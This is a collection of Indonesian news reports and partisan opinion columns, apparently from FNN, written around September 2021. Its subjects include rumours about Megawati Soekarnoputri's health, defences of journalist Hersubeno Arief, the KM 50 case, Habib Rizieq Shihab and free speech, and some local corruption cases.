Ngawi, FNN - Kejaksaan Negeri (Kejari) Ngawi menahan mantan Kepala Desa (Kades) Sidomulyo, Kecamatan Ngrambe, Kabupaten Ngawi, Jawa Timur, Sutrisno, karena terlibat kasus dugaan korupsi pengelolaan keuangan di desa setempat. Kasi Intel Kejari Ngawi David Nababan mengatakan Mantan Kades Sutrisno telah ditetapkan sebagai tersangka kasus dugaan tindak pidana korupsi dana pengelolaan keuangan desa pada periode tahun 2015–2020. "Status tersangka telah ditetapkan ke yang bersangkutan pada hari Selasa tanggal 31 Agustus 2021. Selanjutnya, penyidik telah menahan Sutrisno hingga 20 hari ke depan di tahanan Mapolres Ngawi," ujar David di Kabupaten Ngawi, Sabtu. David mengungkapkan, kasus tersebut telah diselidiki kejaksaan setempat selama dua bulan terakhir. Sutrisno diduga menyelewengkan dana sebesar Rp218 juta. Uang tersebut diselewengkan dari lima kegiatan yang dilakukan di desanya. Salah satunya adalah terkait kegiatan tukar guling lahan milik salah seorang warga desa setempat. Sedangkan empat kegiatan lainnya masih belum dapat diungkapkan oleh kejaksaan setempat dengan alasan masih proses pendalaman. "Detailnya untuk kegiatan penyelewengan lainnya belum bisa dibeberkan. Sebab, kasus ini masih didalami lebih lanjut," ujar David lebih lanjut. Kejari Ngawi masih mengembangkan kasus tersebut lebih lanjut, termasuk kemungkinan keberadaan tersangka lain dengan memintai keterangan dari saksi lainnya. Penyidik kejaksaan setempat akan menjerat tersangka dengan UU RI Nomor 3 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah dengan UU RI Nomor 20 Tahun 2001. (mth)

Mungkinkah Rumor ICU Megawati Untuk Playing Victim?

By Asyari Usman KETUA Umum PDIP Megawati Soekarnoputri tampil di acara daring pembukaan acara kader madya, kemarin, 10 September 2021 (Jumat). Betul kata Sekjen Hasto Kristiyanto bahwa Bu Mega sehat-sehat saja. Dan dari penampilan di acara ini, secara kasat mata kelihatan Bu Ketum tidak mengalami gangguan kesehatan. Sepanjang Rabu malam sampai Jumat pagi, media sosial dan grup-grup Whatsapp diramaikan oleh berita bahwa Megawati dirawat di ruang ICU RS Pertamina Pusat (RSPP). Beragam reaksi dan komentar netizen. Bahkan ada yang menyebarkan “flyer” (poster) diskusi tentang PDIP pasca-Megawati. Setelah tampil di acara daring itu, berita rumor Bu Mega masuk ICU sudah jelas hoax. Karena itu, Polisi harus bertindak melacak dan menangkap orang yang pertama kali membuat dan menyebarkannya. Tapi, agak mengherankan mengapa Hasto tidak langsung melaporkan ke Polisi ketika dia tahu persis bahwa berita itu hoax. Dia tahu Bu Mega tidak benar dirawat di ICU. Hasto harus menjelaskan kepada publik mengapa dia tidak meminta Polisi segera memburu pembuat berita hoax itu. Ini perlu dilakukan agar tidak muncul dugaan bahwa jangan-jangan berita itu hanya fabrikasi yang bertujuan untuk mencuri headline pemberitaan. Bisa juga akan ada anggapan bahwa rumor Bu Mega dirawat di ICU itu bertujuan untuk mendapatkan posisi “playing victim” (memainkan posisi korban). Penjelasannya begini. Mungkin saja ada orang yang tak suka kepada Bu Mega. Nah, ketika muncul rumor bahwa beliau sakit gawat, banyak juga yang “terpancing” memberikan komentar yang sifatnya memojokkan Bu Ketum. Sekarang, Bu Mega tampil sebagai korban yang dipojokkan. Dia langsung menanggapi berita hoax itu. Sebagai orang yang dipojokkan, atau bahkan mungkin dirundung (dibully), sangat mungkin Bu Mega mendapatkan empati dan dukungan dari khalayak yang mengikuti drama ICU itu. Misalnya, akan ada banyak orang yang merasa kasihan melihat perlakuan buruk terhadap Bu Mega. Dan, kalau diamati nada komentar dan narasi yang ditampilkan Bu Mega ketika menanggapi berita hoax itu, beliau cenderung pasrah, merendah, dan bagaikan ikhlas dijadikan sasaran berita hoax. Lantas, apa yang bisa diperoleh dari “playing victim” dengan nada merendah dan pasrah itu? Pertama, para simpatisan Banteng akan semakin mencintai Bu Mega. Kedua, ada kemungkinan pencinta Bu Ketum akan bertambah banyak. Ketiga, hasil survei berikutnya tentang elektabilitas PDIP bisa makin bagus. Terakhir, ketua Gardu Banteng Marhaen (GBM), salah satu ormas pendukung PDIP, Sulaksono Wibowo, mengatakan dia akan melaporkan wartawan senior, Hersubeno Arief, dengan tuduhan menyebab berita hoax. Hersubeno membahas rumor Bu Mega sakit gawat itu dalam acara “Hersubeno Point” di kanal YouTube. Langkah Pak Sulaksono untuk melaporkan ke Polisi jelas salah kaprah dan salah arah. Yang seharusnya dikejar adalah orang yang membuat rumor itu. Ini yang harus dilakukan Kepolisian. Dan ini yang seharusnya menjadi fokus GBM. Hersubeno Arief hanya membahas berita hoax itu. Bukan menyebarkan hoax seperti yang disalahpahami olek Pak Sulaksono.[] (Penulis wartawan senior FNN)

Bangkit dan Bangunlah Jati Diri Bangsa Indonesia

Oleh Sugengwaras Yaasiin....Hanya Allah yang Maha tahu....! Sekuat, sehebat dan selihai apapun tak akan bisa dan tak mungkin mampu menipu, mengakali dan membohongi Allah SWT. Akankah terbentuk kelompok yang tak perlu nasehat dan hanya berbekal selembar kain kafan? Salah besar jika kita berprediksi, berasumsi apalagi berandai andai, umat Islam adalah umat yang bodoh, mudah dihasut, mudah dikelabuhi dan mudah diadu domba. Barangkali fenomena saat ini seperti itu, tapi jangan lupa bahwa umat Islam berpedoman pada Alqur' an sebagai sumber wawasan / pandangan, berpikir, berucap dan bertindak. Hadist sebagai pelengkap dan peluasannya. Kias sebagai analog perbedaan. Dan Itj' ma sebagai analisis dan kesepakatan dalam pengambilan kebijakan, keputusan maupun solusi. Islam yang Rahmatan lil Alamiin, dalam implementasi sehari hari dan setiap saat, senantiasa membentuk, meningkatkan, menjaga dan memelihara akhlaq mulia, melaksanakan amar ma'ruf nahi munkar (menegakkan kebenaran dan memerangi keburukan), hidup mulya mati sahid, saling menghormati sesama yang berbeda, untuk menciptakan kebahagiaan dan kedamaian lahir batin. Di Bumi Pertiwi Indonesia, meskipun dalam suasana yang beraneka rupa , namun tetap dalam wadah Pancasila yang dikumandangkan 18 Agustus 1945, dalam bingkai Binneka Tunggal Ika. Dalam strategi militer, untuk mencapai kedamaian, bersiaplah untuk berperang. Jika kita runut lebih dalam dan luas, berperang dalam arti menghadapi lawan / musuh hingga melawan nafsu diri sendiri. Meneladani akhlaq dan kepemimpinan junjungan kita nabi besar Muhamad SAW, beliau tidak hanya melaksanakan ibadah / spiritual belaka, namun juga langsung beribadah dan beramal terlibat dan langsung terjun dalam pertempuran pertempuran. Menyimak dari sini, marilah kita menjadikan diri kita sebagai bagian dari negara ini, baik dalam hal membela, menjaga dan memelihara kedaulatan negara, keutuhan wilayah, persatuan dan kesatuan bangsa serta keamanan dan keselamatan NKRI. Dengan tidak berbohong, tidak membenci dan tidak memfitnah pihak manapun, dimana dan apapun profesi kita wajib bersama sama menggulung dan meniadakan penyelewengan, perselingkuhan dan pengkhianatan terhadap bangsa dan negara hingga tetesan darah terakhir yang harus terpatri disetiap dada rakyat Indonesia. Hanya dengan inilah kita disegani dan dihormati oleh bangsa bangsa lain di dunia. Maka, paham dan sadarlah wahai bangsaku, di manapun kalian berada, apapun suku, agama, keturunan dan profesinya, untuk kompak dan bersatu bersikap menghadapi ancaman nyata, baik dari asing maupun yang bekerja sama dengan bangsa kita sendiri. Tidak ada yang hebat dari lawan kecuali pengkhianatan dari pecundang dan penjilat bangsa sendiri. Maka, tanpa mengubah sifat apatis menjadi waspada, peka dan peduli terhadap ancaman dan lawan, kita akan terbelenggu oleh kemalasan, keenakan dan kenyamanan sendiri. Bangun dan bangkitlah saudara saudaraku, untuk menegakkan dan meluruskan arah perjalanan bangsa, menuju dan mencapai NKRI yang adil, cerdas dan sejahtara. MERDEKA !!! ALLAHU AKBAR !!! *) Purnawirawan TNI AD.

Semestinya Hersubeno Dapat Apresiasi, Bukan Malah Dilaporkan

Oleh Ady Amar *) HERSUBENO Arief, jurnalis senior FNN, dalam chanel "Hersubeno Point" (HP), tanggal 9 September 2021, memberitakan berita rumor. Sebuah berita tentang sakitnya Ibu Megawati Soekarnoputri, yang dikabarkan tengah dirawat di ICU RS Pusat Pertamina (RSPP). Ia tidak sama sekali memastikan bahwa Ibu Mega benar-benar tengah di rawat di sana. Hanya ia sampaikan, bahwa seorang dokter "memastikan" bahwa Ibu Mega sedang dirawat di sana. Dan ada tambahan kalimat yang disampaikan Hersu yang patut dicermati, sebagai wartawan ia perlu melakukan apa yang disebut verifikasi atas sebuah berita. Jadi sama sekali di situ Hersu tidak mengatakan, bahwa berita dari dokter yang memastikan meski dengan 1000% segala, itu berita yang sudah pasti benar. Hersu menyampaikan juga bantahan dari Sekjen PDIP, Hasto Kristianto. Juga menyitir apa yang disampaikan Wakil Sekjen Sadarertuwati, yang dengan tegas membantah berita itu. Tidak ketinggalan juga pendapat Aria Bima, kader senior PDIP, yang mengatakan bahwa ia tidak punya informasi tentang Ibu Mega sakit. Terlihat ia memberikan porsi yang sama berimbang di sana. Tidak ada sedikit pun fungsi jurnalistik yang dilanggarnya. Ia sedang menyampaikan sebuah berita rumor, yang ia sadari belum pasti kebenarannya. Maka selanjutnya, tugas dari pihak yang diberitakan, itu yang semestinya secepatnya membuktikan benar atau tidaknya berita rumor itu. Saat Ibu Megawati Soekarnoputri muncul memberi sambutan dan sekaligus membuka event nasional PDIP lewat webinar, (10 September), itu bentuk konfirmasi bahwa ia dalam kondisi sedang sehat-sehat saja. Chanel Hersubeno Point, FNN segera menyiarkan berita itu, bahkan dengan emblem Breaking News! segala. Itulah bentuk pertanggungjawaban dalam memberitakan berita yang seimbang, dan menutup berita simpang siur itu dengan menyampaikan berita yang sebenarnya, bahwa Ibu Megawati alhamdulillah sehat-sehat saja. Kok Malah Mau Dilaporkan Memberitakan berita itu tugas wartawan. Dengan berita yang diberitakan itu publik mendapatkan informasi yang sebenarnya. Ingat, informasi yang sebenarnya, itu belum tentu benar yang sebenarnya. Maka menggali dan menginformasikan selanjutnya, itu diharapkan publik mendapat berita yang valid dan benar adanya. Jadi, apa yang diberitakan Hersu dalam konteks berita sakitnya Ibu Megawati, itu sama sekali tidak bisa disebut menyebar berita hoax. Klarifikasi pada petinggi partai sudah dilakukannya. Artinya, kewajiban jurnalistik sudah dipenuhinya sebaik mungkin. Tidak sedikitpun ada yang dilanggarnya. Hersu hanya menyajikan berita, "Ini lho, ada berita demikian..." Salahmya di mana? Jika dicermati satu persatu, kalimat bahkan kata perkata apa yang disampaikan Mas Hersu, in Syaa Allah tidak ada yang salah dari apa yang disampaikannya, apalagi bermaksud menggiring berita dengan menyebar hoax sakitnya Ibu Mega. Maka tidaklah perlu Garda Banteng Marhaen (GBM), lewat ketuanya Sulaksono Wibowo, sampai harus bersikap sumbu pendek segala, dengan akan melaporkan Mas Hersubeno Arief ke Bareskrim Polri. GBM, yang berafiliasi pada PDIP, berencana melaporkan dengan tuduhan menyebarkan berita hoax mengenai Ketum PDIP Megawati yang diberitakan dirawat di ruang ICU RSPP. Mestinya ambil i'tibar di balik rumor itu, bahwa dengan diberitakan berita itu, publik lalu mendoakan agar Ibu Mega sehat-sehat saja. Dan, alhamdulillah beliau memang sehat-sehat saja, tidak kurang suatu apapun. Patut disyukuri. Mestinya langkah Mas Hersu memberitakan berita itu disikapi positif, bahkan layak dapat apresiasi atas langkah jurnalistiknya. Sekali lagi, tidak perlu sampai harus lapor-melapor segala, itu pastilah akan mengotori sistem demokrasi yang sudah kita pilih dan sepakati. Dan terutama akan mengecilkan dan tidak akan menguntungkan buat PDIP sendiri. Bangsa ini punya banyak persoalan, dan pandemi Covid-19 masih jadi perhatian utama untuk ditekan penyebarannya, dan terutama kesulitan ekonomi mayoritas warga yang ditimbulkan dari pandemi itu... Bersikap bijak menyikapi suatu peristiwa apapun itu, adalah langkah terpuji. Jangan grusa-grusu... mikir, kata Cak Lontong. (*) *) Kolumnis

Memelototi Kasus KM 50

By M Rizal Fadillah BEBERAPA waktu yang lalu muncul pernyataan bahwa Kejaksaan telah siap untuk membawa kasus pembunuhan 6 anggota Laskar FPI ke meja hijau. Ketentuan yang akan didakwakan yaitu Pasal 338 KUHP (Pembunuhan), 351 ayat 3 KUHP (Penganiayaan menyebabkan kematian) dan 55 KUHP (Penyertaan). Dua Tersangka yang diajukan adalah Fikri Ramdhani dan Yusmin Tersangka lainnya Elwira dinyatakan telah meninggal dalam suatu kecelakaan. Sudah 9 (sembilan) bulan sejak peristiwa terjadi belum juga kasus ini masuk ke ruang pengadilan, padahal para tersangka sudah diketahui sejak awal, anggota Kepolisian aktif, serta saksi yang cukup banyak. Tak ada alasan signifikan yang seharusnya menghalangi proses cepat penyidikan hingga penyidangan. Akan tetapi faktanya justru sangat lambat. Terkesan enggan untuk menindaklanjuti, ada sesuatu yang disembunyikan, serta diduga ada otak atik skenario untuk memuluskan penyelesaian kasus. Diinginkan agar kasus ini terhenti atau tidak menyeret personal dan institusi lain. Publik dalam posisi obyek dari pembiasan penuntasan perkara. Menonton sandiwara. Untunglah Tim Pengawal Peristiwa Pembunuhan (TP3) Enam Pengawal HRS telah berhasil mendapatkan banyak fakta di lapangan yang berbeda dengan alur cerita pihak penegak hukum. Temuan dituangkan dalam sebuah dokumen yang dinamakan "Buku Putih Pelanggaran HAM Berat". Buku setebal 350 halaman tersebut akan menjadi bahan bagi masyarakat untuk memantau kejujuran dan kebenaran pemeriksaan lanjutan di tingkat peradilan. Memelototi Kasus Km 50 ini menjadi sangat penting berdasarkan kacamata Buku Putih, sebab : Pertama, penghancuran lokasi Km 50 menimbulkan dugaan bahwa disini ada "rumah jagal" tempat penyiksaan dan pembantaian minimal untuk 2 anggota Laskar. Kedua, Fikri dan Yusmin bukan pelaku utama pembunuhan, ada beberapa pelaku lain yang jauh lebih berperan. Penyiksaan dan pembantaian tidak dilakukan oleh hanya dua atau tiga orang. Ketiga, kasus pembantaian ini bukan merupakan kegiatan penegakan hukum melainkan operasi khusus yang menjadikan keenam laskar sebagai target antara untuk target sesungguhnya. Keempat, ada tiga "mobil hantu" yang penumpangnya mengambil peran penting atas pembantaian ini yaitu Avanza hitam B 1739 PWQ, Avanza silver B 1278 KJD, dan mobil "komandan" Land Cruiser hitam. Kelima, kemunculan di depan media Kapolda Metro Irjen Pol Fadil Imran dan Pangdam Jaya Mayjen TNI Dudung Abdurrahman pada tanggal yang sama 7 Desember 2020 mendorong kewajiban hukum untuk memeriksa keduanya atas kemungkinan keterlibatan. Keenam, sebagai sebuah operasi khusus berbasis politik maka penyiksaan dan pembantaian keenam anggota Laskar FPI dapat berujung pada pertanggungjawaban politik. Presiden Jokowi tidak boleh tidur nyenyak. Kasus Km 50 harus terus dipelototi. Ini bukan kasus ecek-ecek, banyak spektrum terkandung di dalamnya. Kejahatan kemanusiaan adalah musuh dunia yang tidak boleh dihapus meskipun rest area Km 50 itu telah dihancurkan. Misteri "Unlawful Killing" dan "Crime Against Humanity" pada kasus Km 50 harus dan akan segera terkuak. *) Pemerhati Politik dan Kebangsaan

Hersubeno Arief Melakukan Verifikasi Jurnalisme, Bukan Menyebar Hoaks Megawati Sakit

Oleh Ahmad Khozinudin, S.H. *) WARTAWAN senior FNN.co.id, Hersubeno Arief mengaku menerima informasi bahwa Presiden kelima Indonesia Megawati Soekarnoputri tengah koma di Rumah Sakit Pusat Pertamina (RSPP). Namun, informasi itu masih belum diterima sebagai sebuah kebenaran, sehingga dirinya melakukan verifikasi melalui sejumlah kabar yang beredar diberbagai media. Hersubeno Arief melalui unggahan video di kanal Youtube miliknya pada Kamis, 9 September 2021 mengaku seorang teman dokter sempat mengirim WhatsApp, dengan redaksi ‘Megawati Koma. Di ICU RSPP. Valid 1000 persen’. Kutipan dari sumber yang tidak disebutkan secara definitif dibenarkan secara kaidah jurnalisme. Justru, Hersubeno membuat ulasan yang cukup lengkap dengan mengutip sejumlah sumber di PDIP yang mengatakan Megawati dalam keadaan sehat, walaupun ada juga sejumlah kader yang tidak bisa memberikan konfirmasi. Sebut saja, Bima Aria Wibisana, yang mengaku mendapat telpon sejumlah wartawan namun dirinya juga belum tahu bagaimana kondisi Megawati. Lain dengan Bima Aria, Hasto Kristiyanto tegas menyebut Megawati sehat. Namun, karena Hasto tidak berada bersama Megawati, Megawati sendiri belum memberikan kabar atau setidaknya melakukan agenda terbuka yang dapat diketahui publik, kabar tentang Megawati sakit atau sehat masih butuh konfirmasi lebih lanjut. Akhirnya, dalam agenda TOT PDIP, diketahui Megawati hadir. Bahkan, Megawati mengkonfirmasi dirinya sehat. (10/9). Kembali, apa yang dilakukan oleh Hersubeno Arief hanyalah melakukan verifikasi. Dirinya, tidak pernah mengeluarkan statement dengan keyakinan penuh bahwa Megawati sedang sakit, atau dirawat di ICU. Mendapat Informasi dari teman dokter, tetap saja diverifikasi oleh Hersubeno karena info sang dokter tersebut bersifat pribadi bukan release resmi, bukan pula atas otoritas seorang dokter yang menangani pasien bernama Megawati. Sayangnya, Gardu Banteng Marhaen salah satu sayap politik (under bow PDIP) justru menganggap Hersubeno menyebar kebohongan dan akan melaporkannya. Ferdinand Hutahean, mantan kader Demokrat juga ikut latah dengan meminta kepolisian menindak Hersubeno Arief. Kepolisian tidak boleh gegabah, tidak boleh menyimpulkan Hersubeno menyebar kebohongan apalagi dalam status melakukan verifikasi jurnalistik. Beda, jika Hersubeno mengabarkan suatu peristiwa dengan keyakinan berdasarkan kesaksian atau sesuatu peristiwa yang dialaminya. Lagipula, jika perkara ini diambil langkah penyelidikan, maka sejumlah kader PDIP yang mengeluarkan statement terkait kesehatan Megawati seperti Bima Aria, Hasto Kristianto, Efendi Simbolon, dan sejumlah nama lainnya wajib diperiksa. Karena statemen mereka, semuanya juga dikutip media dan menyebar, sehingga harus diperiksa untuk bahan pembanding. Megawati Soekarnoputri juga wajib di BAP, karena dia memiliki kedudukan sentral jika verifikasi kabar tentang dirinya dipaksa proses pidana. Tentu, Megawati dan sejumlah nama di PDIP tidak mau, karena akan kehabisan energi. Al hasil, narasi laporan Gardu Banteng hanya akan berujung sebagai gertak sambal saja. Sejumlah media yang dikutip kabarnya oleh Hersubeno wajib diperiksa. Mengingat, kabar Megawati sakit juga beredar luas di berbagai media, walau memang semuanya belum terkonfirmasi. Sejumlah wawancara dilakukan oleh berbagai media untuk memastikan kabar tersebut. Terlebih lagi, terlalu banyak fakta pembanding yang lebih memenuhi unsur kebohongan. Kasus pernyataan Jokowi yang mengaku di kantongnya ada data duit Rp. 11.000 triliun, atau apa yang disampaikan Heriyanti yang mengaku Akidi Tio nyumbang duit Rp. 2 Triliun adalah contoh hoaks yang nyata. Sebab, baik Jokowi maupun keluarga Akidi Tio menyampaikan kabar tersebut tidak dalam kapasitas melakukan verifikasi. Tetapi pengakuan dengan keyakinan, dan diedarkan kepada publik, sehingga timbul keresahan di tengah masyarakat. Akidi Tio bahkan telah membuat malu Kapolda dan Gubernur Sumatera Selatan. Pada kasus Jokowi dan Akidi Tio sebenarnya unsur kebohongan dan menerbitkan keonarannya sebagaimana dimaksud dalam pasal 14 ayat (1) UU No 1/1946 telah terpenuhi. Nyatanya kasus ini tidak diproses secara hukum. Sementara, posisi dan kedudukan Hersubeno Arief tidak dalam konteks menyebar kebohongan, tetapi melakukan verifikasi terhadap sejumlah kabar dan informasi yang beredar. Begitu ada sumber otoritatif dari PDIP berupa keadaan Megawati sehat dalam acara TOT PDIP, Hersubeno Arief juga langsung mengunggah kabar tersebut di kanal Youtubenya. Jelas, Hersubeno dan siapapun yang mempertanyakan kebenaran kabar Megawati sakit bukanlah menyebar kebohongan. Kepolisian tidak dapat mengambil langkah penindakan terhadap Hersubeno Arief, karena peristiwanya bukan peristiwa pidana melainkan peristiwa verifikasi jurnalistik. []. *) Advokat, Aktivis Gerakan Islam

Tuhan, Kebebasan Berbicara, dan Habib Rizieq Shihab

Oleh: Radhar Tribaskoro *) KEBEBASAN berbicara itu hak bukan pemberian. Hak atas kebebasan, bersama dengan hak atas hidup dan hak atas kepemilikan, diberikan oleh Tuhan bukan oleh negara. John Locke menyebutnya natural rights. Hak-hak alamiah adalah hak dasar yang tidak bisa direnggut atau dibatasi oleh negara karena diberikan oleh Tuhan, bukan diberikan oleh negara. Hak dasar itu berbeda dengan hak berkendara yang diberikan oleh negara karena itu bisa dicabut atau dibatalkan sesuai ketentuan. Hak dasar atau hak asasi bahkan lebih tinggi kedudukan moralnya daripada konstitusi. Para filsuf demokrasi yang pertama seperti Hobbes, John Locke, Rousseau, mengatakan bahwa konstitusi yang tidak memberikan perlindungan terhadap hak asasi adalah konstitusi yang tidak legitimate. Dalam pemikiran politik demokrasi klasik, kedudukan hukum Tuhan (atau hukum alam yang direpresentasikan dalam hak-hak asasi) dianggap lebih tinggi ketimbang hukum-hukum manusia. Karena itu, hak kebebasan berbicara tidak membutuhkan kualifikasi apapun. Bebas itu artinya bebas saja. Siapapun rakyat, kaya atau miskin, pintar atau bodoh, sakit atau sehat, coklat atau kuning, wanita atau lelaki, dsb, memiliki hak kebebasan itu. Artinya, pendapat bodoh, tidak akurat dan salah sama statusnya dengan pendapat pintar, akurat dan benar: tidak boleh dilarang. Kebebasan berbicara tidak mengharuskan orang menggunakan data akurat atau membuat simpulan yang benar. Saya tegaskan sekali lagi: Anda tidak bisa disalahkan sekalipun anda mengutip data yang tidak akurat. Anda pun tidak bisa disalahkan ketika anda membuat pernyataan yang salah. Karena rakyat itu tidak harus pintar, ahli, berpendidikan tinggi, profesional, bisa periksa data di BPS, bisa check and recheck, dsb, untuk berbicara. Hak kebebasan berbicara itu melekat, tidak terpisahkan (inalienable) dan tidak hilang sekalipun anda tidak lulus SD, tidak bisa baca-tulis, IQ dibawah 90. Apapun keadaannya negara tidak boleh mengurangi apalagi melarang orang untuk berbicara. Kebebasan Kebablasan Apakah dengan demikian demokrasi menjadikan kebebasan yang berlebihan? Apakah kebebasan berarti membiarkan wacana publik diisi oleh kebohongan dan kecurangan? Tentu saja tidak. Tetapi saya percaya bahwa pemberian Tuhan mencukupi dirinya sendiri. Kebebasan itu mencukupi dirinya sendiri. Dengan kata lain, kebebasan dapat mengendalikan dirinya sendiri (self-organizing). Kebebasan tidak akan merusak kemanusiaan, bahkan menghidupinya. Sudah barang tentu pendapat tidak semuanya benar, banyak juga pendapat yang salah. Tetapi sepanjang kebebasan itu tersedia selalu akan ada orang yang meluruskan. Orang-orang yang tersesat pada akhirnya akan menemukan jalan kebenaran. Seperti kata Thomas Jefferson, "Kesalahan pendapat bisa ditoleransi sepanjang nalar terus bekerja melawannya." Nalar atau akal sehat adalah pengertian yang sering disandingkan bahkan menjadi kata ganti untuk moral, alam dan Tuhan. Nalar adalah kapasitas yang hanya dimiliki oleh manusia. Selain nalar Tuhan juga memberikan moral, yaitu kapasitas untuk membedakan benar dan salah. Moral, yang naluriah atau yang terlembagakan, menjadi kompas ketika orang memilih gagasan terbaik in the free trade of ideas. Jadi, tidak ada yang perlu ditakutkan dari kebebasan. Dengan sendirinya kebebasan akan dimoderasi oleh nalar dan moral. Orang tidak akan memilih pendapat yang tidak didukung nalar yang kokoh, atau menguntungkan diri sendiri saja. Gagasan terbaik tidak hanya gagasan yang menguntungkan satu orang (self interest, nalar optimal). Gagasan yang mendominasi mestilah gagasan yang menguntungkan orang banyak (moral optimal). Dengan kata lain, gagasan terbaik pada akhirnya adalah gagasan dimana nalar dan moral berada dalam keadaan optimal. Proses menuju ekuilibrium gagasan itu disebut proses self-organization, atau kebebasan yang mengatur dirinya sendiri. Dalam kaitan itu Oliver Wendell Holmes, seorang hakim agung dari Amerika Serikat, mengatakan, “Kebenaran yang terbaik diperoleh melalui ujian persaingan di pasar bebas gagasan. Hanya kebenaran seperti itulah yang bisa menjadi landasan agar keinginan-keinginan dapat diwujudkan dengan aman.” Habib Rizik, Hoax dan Keonaran Kutipan ucapan Hakim Holmes di atas diambil dari dissenting opinion yang disampaikan Holmes kepada majelis hakim yang mengadili sekelompok pemuda Yahudi yang menyebarkan pamflet menentang perang dan campur-tangan Amerika dalam Revolusi Rusia 1917. Kasus bersangkutan dengan kebebasan berpendapat ini sangat krusial di negara demokrasi. Kasus ini penting sebab mendeskripsikan batas antara gagasan sebagai hak yang harus dilindungi dengan gagasan sebagai percobaan tindak kriminal. Kasus yang menimpa Syahganda, Jumhur, Anton Permana dan Habib Rizieq Shihab termasuk dalam kategori ini. Kita bisa belajar dari Holmes tentang bagaimana melihat persoalan dengan jernih. Holmes menyatakan pemuda/i Yahudi itu tidak bersalah. Sayangnya Holmes hanya didukung oleh 1 orang hakim agung lainnya, sementara 7 hakim lainnya menyatakan para terdakwa bersalah. Namun demikian pandangan Holmes yang tertulis dalam dissenting opinionnya menjadi acuan para pemikir demokrasi dalam kasus terkait perlindungan atas kebebasan berbicara. Pokok pembelaan Holmes sedikitnya terdiri dari dua bagian. Pertama, Holmes mengupas perihal niat (intention). Walau pamflet para terdakwa menyerukan penghentian produksi senjata, tidak lantas berarti terdakwa berniat melumpuhkan dan menghalangi pemerintah berperang. Ketika seseorang mengingatkan bahaya Covid-19 di sekolah, tidak berarti dia berniat menghalangi orang mendapatkan pendidikan. Lain dari itu, Holmes berpendapat bahwa suatu ucapan dapat dikategorikan sebagai kejahatan bila terbukti menghadirkan bahaya yang nyata (clear and present danger) dan menyebabkan kerugian (harm) yang ada sanksi hukumnya. Menggunakan kriteria itu Holmes menyatakan bahwa pemuda/i Yahudi itu tidak memiliki niat untuk merugikan pemerintah dan leaflet mereka pun tidak merugikan siapapun. Bila cara berpikir Hakim Holmes kita terapkan dalam kasus Habib Rizieq Shihab, maka kita bisa mempertanyakan dua hal. Pertama, adakah niat HRS untuk menimbulkan keonaran yang merugikan publik dalam pernyataannya, “Alhamdulillah, saya sehat”. Menurut Jaksa pernyataan itu bohong karena sesungguhnya hasil tes Antigen HRS positif. Tetapi bukankah tidak semua kebohongan bermaksud merugikan orang lain? Kebohongan HRS bisa jadi bermaksud baik, yaitu agar pengikut-pengikutnya tidak cemas lalu beramai-ramai berkumpul dan menimbulkan kerumunan. Niat baik itu sejajar dengan tujuan pemerintah mengendalikan pandemi. Kemudian atas dasar apa pernyataan “Saya sehat” dapat menyebabkan clear and present danger? Jakarta memang sedang mengalami kenaikan kasus Covid-19 pada saat itu, namun tidak ada satu bukti bahwa HRS telah menjadi pusat klaster penularan Covid-19 di rumahnya maupun di sekitarnya. Lain dari itu, tidak ada seorang pun melaporkan dirugikan oleh HRS. Lantas untuk apa HRS dihukum 4 tahun penjara? Kalau penguasa bermaksud mematahkan lawannya, lakukan dengan cara yang adil. Ketidak-adilan hanya akan membuat lawan menjadi jauh lebih besar dan kuat. *) Pengamat Politik

Polri Benarkan Adyaksa Dault Dilaorkan ke Bareskrim

Jakarta, FNN - Menteri Pemuda dan Olahraga (Menpora) era Kabinet Indonesia Bersatu Adhyaksa Dault dilaporkan ke Bareskrim Polri terkait dugaan penggelapan. Laporan tersebut dibenarkan oleh Direktur Tindak Pidana Umum (Dirtipidum) Bareskrim Polri, di Jakarta, Jumat. "Iya ada (laporan-red)," kata Dirtipidum Bareskrim Polri Brigjen Pol Andi Rian Djajadi. Laporan terhadap Adhyaksa Dault terdaftar dengan Nomor Laporan Polisi LP/B/0169/2021/BARESKRIM.POLRI tanggal 16 Maret 2021. Adhyaksa dilaporkan dengan tiga pasal, yakni Pasal 378 KUHP terkait tindak pidana penipuan, Pasal 372 KUHP terkait dugaan penggelapan, dan Pasal 263 KUHP soal dugaan pemalsuan surat. Dalam laporan polisi yang diterima SPKT Bareskrim Polri itu disebutkan dugaan tindak pidana terjadi pada tahun 2018. Andi mengatakan Adhyaksa dilaporkan terkait dugaan penggelapan pengelolaan aset Kwartir Nasional (Kwarnas) Gerakan Pramuka. Adhyaksa Dault merupakan mantan Ketua Kwarnas Gerakan Pramuka. "Dugaan penipuan dan penggelapan terkait pengelolaan aset Kwarnas," katanya. Terkait perkembangan laporannya, Andi mengatakan sudah dilakukan pemanggilan dan meminta klarifikasi terhadap Adhyaksa. Adhyaksa, kata dia, sudah memenuhi panggilan kepolisian, dan menjalani proses klarifikasi secara virtual, Kamis (9/9) kemarin. "Klarifikasi terhadap yang bersangkutan sudah dilaksanakan kemarin secara virtual," tutur Andi. Saat ditanyakan apakah akan ada penetapan tersangka, Andi belum mau mendahului proses penyelidikan yang masih berjalan. "Tunggu saja perkembangan penanganannya, yang pasti prosesnya sedang berjalan," imbuhnya. (ant, sws)

Ketika Megawati Dikabarkan ”Sekarat”

Oleh: Mochamad Toha Hingga Jum’at (10/9/2021), kabar terkait rumor Ketua Umum PDIP Megawati Soekarnoputri yang dirawat di RS Pusat Pertamina, Jakarta, masih mewarnai media massa dan media sosial. Sekjen DPP PDIP Hasto Kristiyanto sendiri telah membantahnya. Untuk memperkuat bantahan Hasto, sebuah kabar mengunggah foto aktivitas Megawati melalui akun Instagram @bumegabercerita pada Kamis (9/9/2021). Dalam foto itu, Megawati berdiri di depan pot-pot tanaman meski tidak disebutkan lokasinya. Hanya dituliskan bahwa selama masa pandemi Megawati masih beraktivitas seperti biasanya. Megawati tetap melakukan pertemuan terbatas karena harus memenuhi protokol kesehatan. Selain itu, kegiatan pemberian arahan pada para kader partai dan mendengar masukan dari berbagai pihak secara virtual. “Waktu senggang dimanfaatkan Ibu Megawati untuk berkontemplasi, bercocok tanam, sekaligus untuk olahraga dan olahrasa yang sangat penting untuk kesehatan dan kejernihan berpikir,” tulis @bumegabercerita itu, Kamis (9/9/2021). Akun @bumegabercerita juga menyampaikan terima kasihnya atas semua doa dan dukungan untuk Megawati sembari berpesan agar tidak takut berjalan dan berpihak pada kebenaran. Sebab pada akhirnya kebenaranlah yang akan menang. “Sikapi hujatan dan fitnah dengan bijak, anggap itu sebagai doa dan bentuk kepedulian untuk kita,” lanjutnya. Esoknya, Megawati sendiri sempat muncul dan 